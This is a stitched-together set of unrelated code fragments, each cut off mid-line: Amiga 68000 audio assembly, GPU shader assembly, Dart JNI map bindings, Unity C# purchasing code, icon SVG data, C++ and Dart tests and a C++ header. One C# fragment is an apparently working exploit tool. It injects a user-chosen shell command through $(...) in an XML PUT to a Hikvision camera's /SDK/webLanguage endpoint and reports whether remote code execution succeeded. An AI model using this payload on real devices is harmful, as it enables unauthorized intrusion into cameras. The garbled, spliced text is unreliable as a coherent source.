		MOVE.W CurrTempo(PC),D6
		ADD.W D6,D6
		MOVE.W (A4,D6),D6
		MOVE.L stebuf_ptrs(pc),a4
		BSR add2b
		MOVEM.L (SP)+,A2-A3/A5-A6
		NEG.L D0			; +ve offset(as original!)
		NEG.L D1
		MOVE.L A0,sam_start(A2)		; store voice address
		MOVE.L D0,sam_length(A2)	; store offset for next time
		MOVE.L D4,Vfrac(A5)		; store frac part
		MOVE.L A1,sam_start(A3)		; same for chan 2
		MOVE.L D1,sam_length(A3)
		MOVE.L D5,Vfrac(A6)
		RTS

Voice1Set	DS.L 10
Voice2Set	DS.L 10		 	; voice data (setup from 'paula' data)
Voice3Set	DS.L 10
Voice4Set	DS.L 10

nulsamp		DS.L 8		; nul sample
voltab_ptr	DC.L 0		; ptr to volume table

add2b		SUBQ #1,D6
		LEA (A4),A6
make12b_stelp	MOVE.B (A0,D0.L),D2
		MOVE.L D2,A4
		MOVE.B (A4),D2
		MOVE.B (A1,D1.L),D3
		MOVE.L D3,A4
		ADD.B (A4),D2
		MOVE.B D2,(A6)+
		ADDQ.L #1,A6
		MOVE.B D2,(A6)+			; oversample(!)
		ADDQ.L #1,A6
		SWAP D6
		ADD.L A2,D4			; 32 bit fraction
		ADDX.W D6,D0
		BCS.S lpvc1steb
contlp1steb	SWAP D6
		ADD.L A3,D5			; 32 bit fraction
		ADDX.W D7,D1
contlp2steb	DBCS D6,make12b_stelp
		BCS.S lpvc2steb
		RTS

lpvc1steb	EXT.L D0
		LEA.L $12345678,A0	; 0+2
		ADD.L #0,D0		; 6+4
		LEA.L $12345678,A2	; 12


_mb:2  x  i_nr:1, i_ns:0, i_nw:0
    v_accvgpr_read_b32 v[v_c+56], a[a_c+92]
    v_accvgpr_read_b32 v[v_c+57], a[a_c+93]
    v_accvgpr_read_b32 v[v_c+58], a[a_c+94]
    v_accvgpr_read_b32 v[v_c+59], a[a_c+95]
    v_cvt_f16_f32_e32 v[v_c+56], v[v_c+56]
    v_cvt_f16_f32_e32 v[v_c+57], v[v_c+57]
    v_cvt_f16_f32_e32 v[v_c+58], v[v_c+58]
    v_cvt_f16_f32_e32 v[v_c+59], v[v_c+59]
    v_pack_b32_f16 v[v_c+56], v[v_c+56], v[v_c+57]
    v_pack_b32_f16 v[v_c+57], v[v_c+58], v[v_c+59]
    ds_write_b64 v[v_co_sst], v[v_c+56:v_c+56+1] offset:14336   ; idword:1792(14,0),  14x0 | /4, i_mr:0, i_ms:1, i_mw:0, i_mb:3  x  i_nr:0, i_ns:0, i_nw:0
    v_accvgpr_read_b32 v[v_c+60], a[a_c+124]
    v_accvgpr_read_b32 v[v_c+61], a[a_c+125]
    v_accvgpr_read_b32 v[v_c+62], a[a_c+126]
    v_accvgpr_read_b32 v[v_c+63], a[a_c+127]
    v_cvt_f16_f32_e32 v[v_c+60], v[v_c+60]
    v_cvt_f16_f32_e32 v[v_c+61], v[v_c+61]
    v_cvt_f16_f32_e32 v[v_c+62], v[v_c+62]
    v_cvt_f16_f32_e32 v[v_c+63], v[v_c+63]
    v_pack_b32_f16 v[v_c+60], v[v_c+60], v[v_c+61]
    v_pack_b32_f16 v[v_c+61], v[v_c+62], v[v_c+63]
    ds_write_b64 v[v_co_sst], v[v_c+60:v_c+60+1] offset:14848   ; idword:1856(14,64),  14x64 | /4, i_mr:0, i_ms:1, i_mw:0, i_mb:3  x  i_nr:1, i_ns:0, i_nw:0
    s_waitcnt lgkmcnt(0)
    s_barrier
    ;   load from lds
    ds_read_b64 v[v_c:v_c+1], v[v_co_sld]
    ds_read_b64 v[v_c+2:v_c+2+1], v[v_co_sld] offset:2048
    ds_read_b64 v[v_c+4:v_c+4+1], v[v_co_sld] offset:4096
    ds_read_b64 v[v_c+6:v_c+6+1], v[v_co_sld] offset:6144
    ds_read_b64 v[v_c+8:v_c+8+1], v[v_co_sld] offset:8192
    ds_read_b64


tr,
      z ? 1 : 0,
    ).object<MapLibreMapOptions>(const $MapLibreMapOptions$Type());
  }

  static final _id_zoomGesturesEnabled = _class.instanceMethodId(
    r'zoomGesturesEnabled',
    r'(Z)Lorg/maplibre/android/maps/MapLibreMapOptions;',
  );

  static final _zoomGesturesEnabled =
      jni$_.ProtectedJniExtensions.lookup<
            jni$_.NativeFunction<
              jni$_.JniResult Function(
                jni$_.Pointer<jni$_.Void>,
                jni$_.JMethodIDPtr,
                jni$_.VarArgs<(jni$_.Int32,)>,
              )
            >
          >('globalEnv_CallObjectMethod')
          .asFunction<
            jni$_.JniResult Function(
              jni$_.Pointer<jni$_.Void>,
              jni$_.JMethodIDPtr,
              int,
            )
          >();

  /// from: `public org.maplibre.android.maps.MapLibreMapOptions zoomGesturesEnabled(boolean z)`
  /// The returned object must be released after use, by calling the [release] method.
  MapLibreMapOptions zoomGesturesEnabled(
    bool z,
  ) {
    return _zoomGesturesEnabled(
      reference.pointer,
      _id_zoomGesturesEnabled as jni$_.JMethodIDPtr,
      z ? 1 : 0,
    ).object<MapLibreMapOptions>(const $MapLibreMapOptions$Type());
  }

  static final _id_doubleTapGesturesEnabled = _class.instanceMethodId(
    r'doubleTapGesturesEnabled',
    r'(Z)Lorg/maplibre/android/maps/MapLibreMapOptions;',
  );

  static final _doubleTapGesturesEnabled =
      jni$_.ProtectedJniExtensions.lookup<
            jni$_.NativeFunction<
              jni$_.JniResult Function(
                jni$_.Pointer<jni$_.Void>,
                jni$_.JMethodIDPtr,
                jni$_.VarArgs<(jni$_.Int32,)>,
              )
            >
          >('globalEnv_CallObjectMethod')
          .asFunction<
            jni$_.JniResult Function(
              jni$_.Pointer<jni$_.Void>,
              jni$_.JMethodIDPtr,
              int,
            )
          >();

  /// from: `public org.maplibre.android.maps.MapLibreMapOptions doubleTapGesturesEnabled(boolean z)`
  /// The returned object must be released after use, by calling the [release] method.
  MapLibreMapOptions doubleTapGesturesEnabled(
    bool z,
  ) {
    return _doubleTapGesturesEnabled(
      reference.pointer,
      _id_doubleTapGesturesEnabled as jni$_.JMethodIDPtr,
      z ? 1 : 0,
    ).object<MapLibreMapOptions>(const $MapLibreMapOptions$Type());
  }

  static final _id_quickZoomGesturesEnabled = _class.instanceMethodId(
    r'quickZoomGesturesEnabled',
    r'(Z)Lorg/maplibre/android/maps/MapLibreMapOptions;',
  );

  static final _quickZoomGesturesEnabled =
      jni$_.ProtectedJniExtensions.lookup<
            jni$_.NativeFunction<
              jni$_.JniResult Function(
                jni$_.Pointer<jni$_.Void>,
                jni$_.JMethodIDPtr,
                jni$_.VarArgs<(jni$_.Int32,)>,
              )
            >
          >('globalEnv_CallObjectMethod')
          .asFunction<
            jni$_.JniResult Function(
              jni$_.Pointer<jni$_.Void>,
              jni$_.JMethodIDPtr,
              int,
            )
          >();

  /// from: `public org.maplibre.android.maps.MapLibreMapOptions quickZoomGesturesEnabled(boolean z)`
  /// The returned object must be released after use


Credentials = null;
                    //    request.Headers.Add("Sec-Fetch-Dest", "document");
                    //     request.Headers.Add("Sec-Fetch-Mode", "navigate");
                    //    request.Headers.Add("Sec-Fetch-Site", "none");
                    //    request.Headers.Add("Sec-Fetch-User", "?1");
                    request.Headers.Add("X-Requested-With", "XMLHttpRequest");

                    string xmlData = "<?xml version='1.0' encoding='UTF-8'?><language>$(" + textBox8.Text + " > webLib/mz)</language>";
                    //      byte[] postData = Encoding.UTF8.GetBytes(xmlData);
                    //   request.ContentLength = postData.Length;
                    //  string replacedBody = xmlData.Replace("id", richTextBox5.Text);

                    ASCIIEncoding encoding = new ASCIIEncoding(); //编码
                    byte[] byte1 = encoding.GetBytes(xmlData);
                    request.ContentLength = byte1.Length;
                    StreamWriter ss = new StreamWriter(request.GetRequestStream());
                    ss.Write(xmlData);
                    ss.Flush();
                    button6.Enabled = true;
                    HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                    Stream getStream = response.GetResponseStream();
                    StreamReader streamreader = new StreamReader(getStream);
                    String sss = streamreader.ReadToEnd();
                    if (response.StatusCode == HttpStatusCode.InternalServerError)
                    {

                        // richTextBox6.AppendText("\n" + now + "目标" + textBox1.Text + "[+]存在Hikvision 远程代码执行漏洞");
                        yanzheng();
                    }
                    else
                    {

                        //   richTextBox6.AppendText(now + "目标" + textBox1.Text + "[-]不存在Hikvision 远程代码执行漏洞");

                    }

                }
            }

            catch (Exception ex)
            {

                richTextBox6.AppendText("\n" + "命令执行失败");

            }

        }

        public void mingling()
        {

            try
            {

                DateTime now = DateTime.Now;
                string timeString = now.ToString("yyyy-MM-dd HH:mm:ss");

                ServicePointManager.ServerCertificateValidationCallback += RemoteCertificateValidate;
                String url = textBox1.Text + "/SDK/webLanguage";

                //    MessageBox.Show("默认请求路径/mz");
                //     MessageBox.Show("默认执行env命令");
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);

                request.Method = "PUT"; //get请求方法
                request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0";
                request.Accept = "*/*";
                request.ContentType = "application/xml";
                request.Credentials = null;
                //    request.Headers.Add("Sec-Fetch-Dest", "document");
                //     request.Headers.Add("Sec-Fetch-Mode", "navigate");
                //    request.Headers.Add("Sec-Fetch-Site", "none");
                //    request.Headers.Add("Sec-Fetch-User", "?1");
                request.Headers.Add("X-Requested-With", "XMLHttpRequest");

                string xmlData = "<?xml version='1.0' encoding='UTF-8'?><language>$(" + textBox8.Text + " > webLib/mz)</language>";
                //      byte[] postData = Encoding.UTF8.GetBytes(xmlData);
                //   request.ContentLength = postData.Length;
                //  string replacedBody = xmlData.Replace("id", richTextBox5.Text);

                ASCIIEncoding encoding = new ASCIIEncoding();


ASSERT(
          ffActuator.first == MapperParser::FindForceFeedbackActuatorIndex(ffActuator.second));
    }
  }

  // Verifies correct identification of invalid force feedback actuator strings.
  TEST_CASE(MapperParser_ForceFeedbackActuatorString_Invalid)
  {
    constexpr std::wstring_view kForceFeedbackActuatorStrings[] = {
        L"leftMotor", L"RightMotor", L"random_string"};

    for (auto ffActuatorString : kForceFeedbackActuatorStrings)
    {
      TEST_ASSERT(false == MapperParser::IsForceFeedbackActuatorStringValid(ffActuatorString));
      TEST_ASSERT(
          false == MapperParser::FindForceFeedbackActuatorIndex(ffActuatorString).has_value());
    }
  }

  // Verifies correct determination of recursion depth, given a set of input strings that are all
  // properly balanced.
  TEST_CASE(MapperParser_RecursionDepth_Balanced)
  {
    constexpr std::pair<unsigned int, std::wstring_view> kRecursionTestItems[] = {
        {0, L" MapperStringNoParams  "},
        {1, L"   OuterMapper  (   Param1, Param2 )"},
        {2, L"OuterMapper( InnerMapper1( Param), InnerMapper2(Param234))"},
        {3, L"Split(    Split( Button(1), Button(2)), Split(Button(3), Button(4)), Axis(Z))"},
        {4, L" ( ()  (  ()   (  ()) () ))"}};

    for (auto& recursionTestItem : kRecursionTestItems)
      TEST_ASSERT(
          recursionTestItem.first == MapperParser::ComputeRecursionDepth(recursionTestItem.second));
  }

  // Verifies inability to compute recursion depth, given a set of input strings that are not
  // properly balanced.
  TEST_CASE(MapperParser_RecursionDepth_Unbalanced)
  {
    constexpr std::wstring_view kRecursionTestStrings[] = {
        L")",
        L"(",
        L"    )  (",
        L"   (    (    )",
        L"   (   )    (    ",
        L"   OuterMapper    Param1, Param2 )",
        L"Split(    Split( Button(1), Button(2)), Split(Button(3), Button(4)"};

    for (auto& recursionTestString : kRecursionTestStrings)
      TEST_ASSERT(std::nullopt == MapperParser::ComputeRecursionDepth(recursionTestString));
  }

  // Verifies correct separation of an input element mapper string into type and parameter
  // substrings. Exercises several different simple cases in which the element mapper string
  // contains one type and one set of parameters. The whole string is consumed, so there is no
  // remainder.
  TEST_CASE(MapperParser_ExtractElementMapperStringParts_Simple)
  {
    constexpr std::pair<std::wstring_view, SStringParts> kExtractPartsTestItems[] = {
        {L"Axis(Y)", {.type = L"Axis", .params = L"Y"}},
        {L"   Axis       (    Y    ,    + )", {.type = L"Axis", .params = L"Y    ,    +"}},
        {L"   Null  ", {.type = L"Null"}}};

    for (auto& extractPartsTestItem : kExtractPartsTestItems)
      TEST_ASSERT(
          extractPartsTestItem.second ==
          MapperParser::ExtractElementMapperStringParts(extractPartsTestItem.first));
  }

  // Verifies correct separation of an input element mapper string into type and parameter
  // substrings. Exercises several different nested cases in which an element mapper string has
  // other element mapper strings as parameters. The whole string is consumed, so there is no
  // remainder.
  TEST_CASE(MapperParser_ExtractElementMapperStringParts_Neste


ansactionErrorDetails(TransactionErrorDetails details)
        {
            var transactionErrorIndex = (int)details.transactionError;
            var transactionErrorClass = new AndroidJavaClass("com.unity3d.services.purchasing.core.TransactionError");
            var transactionErrorValues = transactionErrorClass.CallStatic<AndroidJavaObject>("values");
            var transactionError = new AndroidJavaClass("java.lang.reflect.Array").CallStatic<AndroidJavaObject>("get", transactionErrorValues, transactionErrorIndex);

            var storeIndex = (int)details.store;
            var storeClass = new AndroidJavaClass("com.unity3d.services.purchasing.core.Store");
            var storeValues = storeClass.CallStatic<AndroidJavaObject>("values");
            var store = new AndroidJavaClass("java.lang.reflect.Array").CallStatic<AndroidJavaObject>("get", storeValues, storeIndex);

            var builder = new AndroidJavaClass("com.unity3d.services.purchasing.core.TransactionErrorDetails").CallStatic<AndroidJavaObject>("newBuilder");
            builder.Call<AndroidJavaObject>("withTransactionError", transactionError);
            builder.Call<AndroidJavaObject>("withExceptionMessage", details.exceptionMessage);
            builder.Call<AndroidJavaObject>("withStore", store);
            builder.Call<AndroidJavaObject>("withStoreSpecificErrorCode", details.storeSpecificErrorCode);
            if (details.extras != null)
            {
                foreach (KeyValuePair<string, object> entry in details.extras)
                {
                    builder.Call<AndroidJavaObject>("putExtra", entry.Key, entry.Value);
                }
            }

            return builder.Call<AndroidJavaObject>("build");
        }

        private AndroidJavaObject createNativeShowType(PromoShowType type)
        {
            var index = (int)type;
            var enumClass = new AndroidJavaClass("com.unity3d.services.monetization.placementcontent.purchasing.NativePromoShowType");
            var values = enumClass.CallStatic<AndroidJavaObject>("values");
            return new AndroidJavaClass("java.lang.reflect.Array").CallStatic<AndroidJavaObject>("get", values, index);
        }
    }
}
#endif


7072 4.2426 4.2427-.707.7071z",opacity:".3"},"0"),c.jsx("path",{d:"m21.67 18.17-5.3-5.3h-.99l-2.54 2.54v.99l5.3 5.3c.39.39 1.02.39 1.41 0l2.12-2.12c.39-.38.39-1.02 0-1.41m-2.83 1.42-4.24-4.24.71-.71 4.24 4.24z"},"1"),c.jsx("path",{d:"m17.34 10.19 1.41-1.41 2.12 2.12c1.17-1.17 1.17-3.07 0-4.24l-3.54-3.54-1.41 1.41V1.71l-.7-.71-3.54 3.54.71.71h2.83l-1.41 1.41 1.06 1.06-2.89 2.89-4.13-4.13V5.06L4.83 2.04 2 4.87 5.03 7.9h1.41l4.13 4.13-.85.85H7.6l-5.3 5.3c-.39.39-.39 1.02 0 1.41l2.12 2.12c.39.39 1.02.39 1.41 0l5.3-5.3v-2.12l5.15-5.15zm-7.98 5.15-4.24 4.24-.71-.71 4.24-4.24z"},"2")],"HandymanTwoTone"),_t1=h(c.jsx("path",{d:"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v3h6V8l3 3h2V3zM9 13v7c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-7z"}),"Hardware"),Xt1=h(c.jsx("path",{d:"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v12c0 .55.45 1 1 1h4c.55 0 1-.45 1-1V8l3 3h2V3zm-5 16h-2v-6h2zm-2-8V6H6.77C7.32 5.39 8.11 5 9 5h4v6z"}),"HardwareOutlined"),$t1=h(c.jsx("path",{d:"M17.59 3.41 15 6V5c0-1.1-.9-2-2-2H9C6.24 3 4 5.24 4 8h5v3h6V8l2.59 2.59c.26.26.62.41 1 .41h.01c.77 0 1.4-.63 1.4-1.41V4.41C20 3.63 19.37 3 18.59 3h-.01c-.37 0-.73.15-.99.41M9 13v7c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-7z"}),"HardwareRounded"),co1=h(c.jsx("path",{d:"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v3h6V8l3 3h2V3zM9 13v8h6v-8z"}),"HardwareSharp"),ho1=h([c.jsx("path",{d:"M6.77 6H11v5h2V5H9c-.89 0-1.68.39-2.23 1M11 13h2v6h-2z",opacity:".3"},"0"),c.jsx("path",{d:"m18 3-3 3V3H9C6.24 3 4 5.24 4 8h5v12c0 .55.45 1


//
// Unit tests for AvoidVisibleFieldsRule
//
// Authors:
//	Adrian Tsai <adrian_tsai@hotmail.com>
//	Sebastien Pouliot  <sebastien@ximian.com>
//
// Copyright (c) 2007 Adrian Tsai
// Copyright (C) 2008, 2011 Novell, Inc (http://www.novell.com)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.

using System;

using Gendarme.Rules.Design;

using NUnit.Framework;
using Test.Rules.Definitions;
using Test.Rules.Fixtures;

namespace Test.Rules.Design {

#pragma warning disable 169, 649

	[TestFixture]
	public class AvoidVisibleFieldsTest : TypeRuleTestFixture<AvoidVisibleFieldsRule> {

		[Test]
		public void DoesNotApply ()
		{
			AssertRuleDoesNotApply (SimpleTypes.Delegate);
			AssertRuleDoesNotApply (SimpleTypes.Enum);
			AssertRuleDoesNotApply (SimpleTypes.Interface);
		}

		public class ClassProtectedField {
			protected int x;
		}

		public struct StructPublicField {
			public long y;
		}

		[Test]
		pu


   return ''
    }
  }

  function peekSpaces(scnr: Scanner): string {
    let buf = ''
    while (scnr.currentPeek() === SPACE || scnr.currentPeek() === NEW_LINE) {
      buf += scnr.currentPeek()
      scnr.peek()
    }
    return buf
  }

  function skipSpaces(scnr: Scanner): string {
    const buf = peekSpaces(scnr)
    scnr.skipToPeek()
    return buf
  }

  function isIdentifierStart(ch: string): boolean {
    if (ch === EOF) {
      return false
    }
    const cc = ch.charCodeAt(0)
    return (
      (cc >= 97 && cc <= 122) || // a-z
      (cc >= 65 && cc <= 90) || // A-Z
      cc === 95 // _
    )
  }

  function isNumberStart(ch: string): boolean {
    if (ch === EOF) {
      return false
    }
    const cc = ch.charCodeAt(0)
    return cc >= 48 && cc <= 57 // 0-9
  }

  function isNamedIdentifierStart(
    scnr: Scanner,
    context: TokenizeContext
  ): boolean {
    const { currentType } = context

    if (currentType !== TokenTypes.BraceLeft) {
      return false
    }

    peekSpaces(scnr)

    const ret = isIdentifierStart(scnr.currentPeek())
    scnr.resetPeek()

    return ret
  }

  function isListIdentifierStart(
    scnr: Scanner,
    context: TokenizeContext
  ): boolean {
    const { currentType } = context

    if (currentType !== TokenTypes.BraceLeft) {
      return false
    }

    peekSpaces(scnr)

    const ch = scnr.currentPeek() === '-' ? scnr.peek() : scnr.currentPeek()
    const ret = isNumberStart(ch)
    scnr.resetPeek()

    return ret
  }

  function isLiteralStart(scnr: Scanner, context: TokenizeContext): boolean {
    const { currentType } = context

    if (currentType !== TokenTypes.BraceLeft) {
      return false
    }

    peekSpaces(scnr)

    const ret = scnr.currentPeek() === LITERAL_DELIMITER
    scnr.resetPeek()

    return ret
  }

  function isLinkedDotStart(scnr: Scanner, context: TokenizeContext): boolean {
    const { currentType } = context

    if (currentType !== TokenTypes.LinkedAlias) {
      return false
    }

    peekSpaces(scnr)
    const ret = scnr.currentPeek() === TokenChars.LinkedDot
    scnr.resetPeek()

    return ret
  }

  function isLinkedModifierStart(
    scnr: Scanner,
    context: TokenizeContext
  ): boolean {
    const { currentType } = context

    if (currentType !== TokenTypes.LinkedDot) {
      return false
    }

    peekSpaces(scnr)
    const ret = isIdentifierStart(scnr.currentPeek())
    scnr.resetPeek()

    return ret
  }

  function isLinkedDelimiterStart(
    scnr: Scanner,
    context: TokenizeContext
  ): boolean {
    const { currentType } = context

    if (
      !(
        currentType === TokenTypes.LinkedAlias ||
        currentType === TokenTypes.LinkedModifier
      )
    ) {
      return false
    }

    peekSpaces(scnr)
    const ret = scnr.currentPeek() === TokenChars.LinkedDelimiter
    scnr.resetPeek()

    return ret
  }

  function isLinkedReferStart(
    scnr: Scanner,
    context: TokenizeContext
  ): boolean {
    const { currentType } = context

    if (currentType !== TokenTypes.LinkedDelimiter) {
      return false
    }

    const fn = (): boolean => {
      const ch = scnr.currentPeek()
      if (


 x);
}

abstract class J8 {
  void m(int x);
}

class D8 extends B8 implements J8, JJ8 {}

// Superclass: mixed-in, interface: immediate.

class A9 {}

mixin M9 {
  void m(covariant num x) {}
}

class B9 extends A9 with M9 {}

class C9 extends B9 {
  void m(num x);
}

abstract class DD9 {
  void m(Object x);
}

class D9 extends B9 implements DD9 {
  void m(num x);
}

class A10 {}

mixin M10 {
  void m(covariant int x) {}
}

class B10 extends A10 with M10 {}

class C10 extends B10 {
  void m(num x);
}

abstract class DD10 {
  void m(Object x);
}

class D10 extends B10 implements DD10 {
  void m(num x);
}

class A11 {}

mixin M11 {
  void m(covariant num x) {}
}

class B11 extends A11 with M11 {}

class C11 extends B11 {
  void m(int x);
}

abstract class DD11 {
  void m(Object x);
}

class D11 extends B11 implements DD11 {
  void m(int x);
}

// Superclass: mixed-in, interface: extends.

class A12 {}

mixin M12 {
  void m(covariant num x) {}
}

class B12 extends A12 with M12 {}

abstract class BB12 extends B12 {
  void m(num x);
}

class C12 extends BB12 {}

abstract class DD12 {
  void m(Object x);
}

class D12 extends BB12 implements DD12 {}

class A13 {}

mixin M13 {
  void m(covariant int x) {}
}

class B13 extends A13 with M13 {}

abstract class BB13 extends B13 {
  void m(num x);
}

class C13 extends BB13 {}

abstract class DD13 {
  void m(Object x);
}

class D13 extends BB13 implements DD13 {}

class A14 {}

mixin M14 {
  void m(covariant num x) {}
}

class B14 extends A14 with M14 {}

abstract class BB14 extends B14 {
  void m(int x);
}

class C14 extends BB14 {}

abstract class DD14 {
  void m(Object x);
}

class D14 extends BB14 implements DD14 {}

// Superclass: mixed-in, interface: implements.

class A15 {}

mixin M15 {
  void m(covariant num x) {}
}

class B15 extends A15 with M15 {}

abstract class I15 {
  void m(num x);
}

class C15 extends B15 implements I15 {}

abstract class JJ15 {
  void m(Object x);
}

abstract class J15 {
  void m(num x);
}

class D15 extends B15 implements J15, JJ15 {}

class A16 {}

mixin M16 {
  void m(covariant int x) {}
}

class B16 extends A16 with M16 {}

abstract class I16 {
  void m(num x);
}

class C16 extends B16 implements I16 {}

abstract class JJ16 {
  void m(Object x);
}

abstract class J16 {
  void m(num x);
}

class D16 extends B16 implements J16, JJ16 {}

class A17 {}

mixin M17 {
  void m(covariant num x) {}
}

class B17 extends


/*
 * This file is part of Hootenanny.
 *
 * Hootenanny is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 * --------------------------------------------------------------------
 *
 * The following copyright notices are generated automatically. If you
 * have a new notice to add, please use the format:
 * " * @copyright Copyright ..."
 * This will properly maintain the copyright information. Maxar
 * copyrights will be updated automatically.
 *
 * @copyright Copyright (C) 2015, 2018, 2019, 2020, 2021 Maxar (http://www.maxar.com/)
 */
#ifndef __ELEMENT_CRITERIONCONSUMER_H
#define __ELEMENT_CRITERIONCONSUMER_H

// Hoot
#include <hoot/core/criterion/ElementCriterion.h>

namespace hoot
{

class ElementCriterionConsumer
{
public:

  static QString className() { return "ElementCriterionConsumer"; }

  ElementCriterionConsumer() = default;
  virtual ~ElementCriterionConsumer() = default;

  virtual void addCriterion(const ElementCriterionPtr& crit) = 0;
};

}

#endif // __ELEMENT_CRITERIONCONSUMER_H


: Icon { public Symbols() : base("Symbols", IconVariant.Filled, IconSize.Size16, "<path d=\"M11.9 2.4a1.56 1.56 0 1 1 2.2 2.2l-2.25 2.25a.5.5 0 0 1-.7 0L8.9 4.6a1.56 1.56 0 1 1 2.2-2.2l.4.4.4-.4ZM7 4.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM5.15 5.85l-2-2a1.5 1.5 0 0 0 2 2Zm.7-.7a1.5 1.5 0 0 0-2-2l2 2ZM5 9.5a.5.5 0 0 0-1 0V11H2.5a.5.5 0 0 0 0 1H4v1.5a.5.5 0 1 0 1 0V12h1.5a.5.5 0 1 0 0-1H5V9.5ZM9.5 15a.5.5 0 0 1-.5-.5v-2a.5.5 0 0 1 .51-.5H11a.5.5 0 0 1 0 1h-.64l.14.17c.38.43.94.83 1.75.83a2.5 2.5 0 0 0 1.85-.8.5.5 0 0 1 .8.6l-.4-.3.4.3-.02.02a1.45 1.45 0 0 1-.17.19 3.5 3.5 0 0 1-2.46.99c-1 0-1.74-.43-2.25-.9v.4a.5.5 0 0 1-.5.5Zm5-6c.28 0 .5.22.5.5v2a.5.5 0 0 1-.51.5H13a.5.5 0 1 1 0-1h.64a2.27 2.27 0 0 0-1.89-1 2.5 2.5 0 0 0-1.84.78v.01l-.01.01a.5.5 0 0 1-.8-.6l.4.3-.4-.3.02-.02a1.78 1.78 0 0 1 .17-.19A3.5 3.5 0 0 1 11.75 9c1 0 1.74.43 2.25.9v-.4c0-.28.22-.5.5-.5Z\"/>") { } }
    public class SyncOff : Icon { public SyncOff() : base("SyncOff", IconVariant.Filled, IconSize.Size16, "<path d=\"M14 8A6 6 0 0 1 2 8h3.88l-.85 2.33a.5.5 0 0 0 .94.34l2-5.5a.5.5 0 1 0-.94-.34L6.24 7H2.08a6 6 0 0 1 11.84 0H10.3l.67-1.83a.5.5 0 1 0-.94-.34l-2 5.5a.5.5 0 0 0 .94.34L9.94 8H14Z\"/>") { } }
    public class Tab : Icon { public Tab() : base("Tab", IconVariant.Filled, IconSize.Size16, "<path d=\"M2 4c0-1.1.9-2 2-2h8a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V4Zm2-.5a.5.5 0 0 0-.5.5v8c0 .28.22.5.5.5h8a.5.5 0 0 0 .5-.5V4a.5.5 0 0 0-.5-.5H4Z\"/>") { } }
    public class TabDesktop : Icon { public TabDesktop() : base("TabDesktop", IconVariant.Filled, IconSize.Size16, "<path d=\"M7 2H4a2 2 0 0 0-2 2v8c0 1.1.9 2 2 2h8a2 2 0 0 0 2-2V5H8.5A1.5 1.5 0 0 1 7 3.5V2Zm7 2a2 2


40);

  auto *data_result = (int *)buffer_vecort_0[0]->ConstData();
  for (int i = 0; i < 10; i++) {
    EXPECT_EQ(data_result[i], 10 + 2 * i);
  }

  auto *data_result_2 = (int *)buffer_vecort_0[1]->ConstData();
  for (int i = 0; i < 10; i++) {
    EXPECT_EQ(data_result_2[i], 10 + 2 * i);
  }
}

TEST_F(NodeTest, Init) {
  ConfigurationBuilder configbuilder;
  auto config = configbuilder.Build();
  auto flowunit_mgr_ = FlowUnitManager::GetInstance();
  auto node = std::make_shared<Node>();
  node->SetFlowUnitInfo("test_2_inputs_2_outputs", "cpu", "0", flowunit_mgr_);
  EXPECT_EQ(node->Init({"In_1", "In_2"}, {"Out_1"}, config), STATUS_BADCONF);
  EXPECT_EQ(node->Init({"In_1", "In_2"}, {"Out_1", "Out_2"}, config),
            STATUS_SUCCESS);
  EXPECT_EQ(node->GetInputNum(), 2);
  EXPECT_EQ(node->GetOutputNum(), 2);
  EXPECT_NE(node->GetInputPort("In_1"), nullptr);
  EXPECT_NE(node->GetInputPort("In_2"), nullptr);
  EXPECT_NE(node->GetOutputPort("Out_1"), nullptr);
  EXPECT_NE(node->GetOutputPort("Out_2"), nullptr);
  EXPECT_EQ(node->GetOutputPort("In_None"), nullptr);

  auto another_node = std::make_shared<Node>();
  another_node->SetFlowUnitInfo("test_2_0", "cpu", "0", flowunit_mgr_);
  EXPECT_EQ(another_node->Init({"In_1", "In_1", "In_2"}, {}, config),
            STATUS_SUCCESS);
  EXPECT_EQ(another_node->GetInputNum(), 2);
  EXPECT_EQ(another_node->GetOutputNum(), 0);
  EXPECT_NE(another_node->GetInputPort("In_1"), nullptr);
  EXPECT_EQ(another_node->Init({}, {}, config), STATUS_BADCONF);

  auto invalid_node = std::make_shared<Node>();
  invalid_node->SetFlowUnitInfo("invalid_test", "cpu", "0", flowunit_mgr_);
}

TEST_F(NodeTest, SendEvent) {
  ConfigurationBuilder configbuilder;
  auto config = configbuilder.Build();
  auto flowunit_mgr_ = FlowUnitManager::GetInstance();
  auto node = std::make_shared<Node>();
  node->SetFlowUnitInfo("test_0_2", "cpu", "0", flowunit_mgr_);

  EXPECT_EQ(node->Init({}, {"Out_1", "Out_2"}, config), STATUS_OK);

  auto event = std::make_shared<FlowUnitInnerEvent>(
